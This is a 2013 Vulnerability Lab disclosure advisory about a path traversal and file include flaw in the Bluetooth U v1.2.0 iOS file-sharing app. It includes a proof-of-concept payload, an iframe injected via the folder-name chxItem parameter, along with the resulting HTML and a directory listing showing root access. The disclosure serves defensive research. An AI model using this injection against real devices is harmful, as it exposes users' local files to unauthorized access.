Bluetooth U v1.2.0 iOS - Directory Traversal Vulnerability

From: Vulnerability Lab <>
Subject: Bluetooth U v1.2.0 iOS - Directory Traversal Vulnerability

Document Title:
Bluetooth U v1.2.0 iOS - Directory Traversal Vulnerability

References (Source):

Release Date:

Vulnerability Laboratory ID (VL-ID):

Common Vulnerability Scoring System:

Product & Service Introduction:
Bluetooth U ensure both devices(iPhone&iPod&iPad) transfer files mutually, No file type restrictions.

(Copy of the Homepage: )

Abstract Advisory Information:
The Vulnerability Laboratory Research Team discovered multiple web vulnerabilities in the Bluetooth U v1.2.0 mobile iOS web-application.

Vulnerability Disclosure Timeline:
2013-10-16:    Public Disclosure (Vulnerability Laboratory)

Discovery Status:

Affected Product(s):
Apple AppStore
Product: Bluetooth U - Mobile Web Application 1.2.0

Exploitation Technique:

Severity Level:

Technical Details & Description:
A local path traversal and file include vulnerability is detected in the Bluetooth U v1.2.0  iOS mobile application (Apple iOS - iPad & iPhone).
The path traversal allows remote attackers to unauthorized switch or access folder to access application, device or system information.

The web vulnerability allows to bypass the regular path to folder generate by exploitation of the `New Folder` add function. Remote attackers 
can create a directory by using a manipulated second path with a frame to load. The vulnerability can be exploited by requesting the mobile 
application with a manipulated path (folder) value parameter. The redirect will load the wrong path value and redirects the user to the local 
mobile application or device system path/file. The malicious context also executes in the DelegateData on deletes too.

Exploitation of the path/directory web vulnerability requires no user interaction and non privileged mobile web.application user account.
Successful exploitation of the vulnerability results in the unauthorized access of remote users to local application path or system/device files.

Vulnerable Module(s):
                                [+] New Folder - Index

Vulnerable Parameter(s):
                           [+] chxItem & ChkItem

Proof of Concept (PoC):
The path/directory-traversl web vulnerability can be exploited by remote attackers without privileged application user account and also 
without user interaction. For demonstration or reproduce ...

PoC: Foldername - Index File Dir Listing (Wifi)

<table id="tableContent" border="0" cellpadding="0" cellspacing="0">
<tr><th style="padding-left:10px;"><input id="selecteAll" onclick="selectAll(this)" 
type="checkbox"></th><th>Name</th><th>Size</th><th>Modified Date</th><th class="del">Delete</th></tr>
<tbody id="filelist"><tr><td>
<input name="chxItem" value="%3Ciframe%20src%3D%3Fguid%3D%26type%3Dlist%26password%3D%26date%3DSun%20Oct%2013%202013%2017%3A46%3A15%20GMT%2B0200%3E" 
onclick="selChkItem(this)" type="checkbox"></td>
<td><a href="/%3Ciframe%20src%3D%3Fguid%3D%26type%3Dlist%26password%3D%26date%3DSun%20Oct%2013%202013%2017%3A46%3A15%20GMT%2B0200%3E
?guid=1520475B-0653-41FA-8072-CC31D2C5A8F2&type=child" class="file"><span style="vertical-align:middle;"><img src="/Folder.png" 
style="border:0;vertical-align:middle" ;=""></span><iframe src="?guid=&type=list&password=&date=Sun" oct="" 13="" 2013="" 
17:46:15="" gmt+0200=""></a></td><td></td><td>2013-10-13 17:53:31</td><td><input name="commit" type="button" value="Delete" 
,'1520475B-0653-41FA-8072-CC31D2C5A8F2');" class='button' /></form></td></tr></tbody></table></iframe></a></td></tr><tr class="shadow">
<td><input name="chxItem" value="TEST23" onclick="selChkItem(this)" type="checkbox"></td>

--- PoC Session Logs (GET) ---
Content Size[0] 
Mime Type[application/x-unknown-content-type]

Request Headers:
User-Agent[Mozilla/5.0 (Windows NT 6.1; WOW64; rv:24.0) Gecko/20100101 Firefox/24.0]
Accept-Encoding[gzip, deflate]

Response Headers:
Date[Sun, 13 Oct 2013 14:24:08 GMT]

--- Referer Context ---
'detail':'Please input password','root':0,'title':'Bluetooth U','items':[{'name':'TEST23',
'isdir':1,'id':0,'filesize':102,'modDate':'2013-10-13 16:19:09'},{'name':'TEST24','isdir':1,
'id':1,'filesize':68,'modDate':'2013-10-13 16:19:14'},{'name':'TEST25','isdir':1,'id':2,
'filesize':68,'modDate':'2013-10-13 16:19:18'},{'name':'s2.png','isdir':0,'id':3,
'filesize':53025,'modDate':'2013-10-13 16:30:57'}],'dir':'/'}

Note: root :)

Solution - Fix & Patch:
The vulnerability can be patched by a restriction of the filename user input. Encode and parse the input and filter the 
index file name dir listing to prevent executions.

Security Risk:
The security risk of the path/directory traversal web vulnerability is estimated as high(+).

Credits & Authors:
Vulnerability Laboratory [Research Team] - Benjamin Kunz Mejri ( []

Disclaimer & Information:
The information provided in this advisory is provided as it is without any warranty. Vulnerability Lab disclaims all warranties, 
either expressed or implied, including the warranties of merchantability and capability for a particular purpose. Vulnerability-
Lab or its suppliers are not liable in any case of damage, including direct, indirect, incidental, consequential loss of business 
profits or special damages, even if Vulnerability-Lab or its suppliers have been advised of the possibility of such damages. Some 
states do not allow the exclusion or limitation of liability for consequential or incidental damages so the foregoing limitation 
may not apply. We do not approve or encourage anybody to break any vendor licenses, policies, deface websites, hack into databases 
or trade with fraud/stolen material.

Domains:     -                             -
Contact:      -               -
Section:  -                   -
Social:!/vuln_lab             -                -
Feeds:   -   -

Any modified copy or reproduction, including partially usages, of this file requires authorization from Vulnerability Laboratory. 
Permission to electronically redistribute this alert in its unmodified form is granted. All other rights, including the use of other 
media, are reserved by Vulnerability-Lab Research Team or its suppliers. All pictures, texts, advisories, source code, videos and 
other information on this website is trademark of vulnerability-lab team & the specific authors or managers. To record, list (feed), 
modify, use or edit our material contact ( or to get a permission.

                         Copyright  2013 | Vulnerability Laboratory [Evolution Security]


Copyright © 1995-2019 All rights reserved.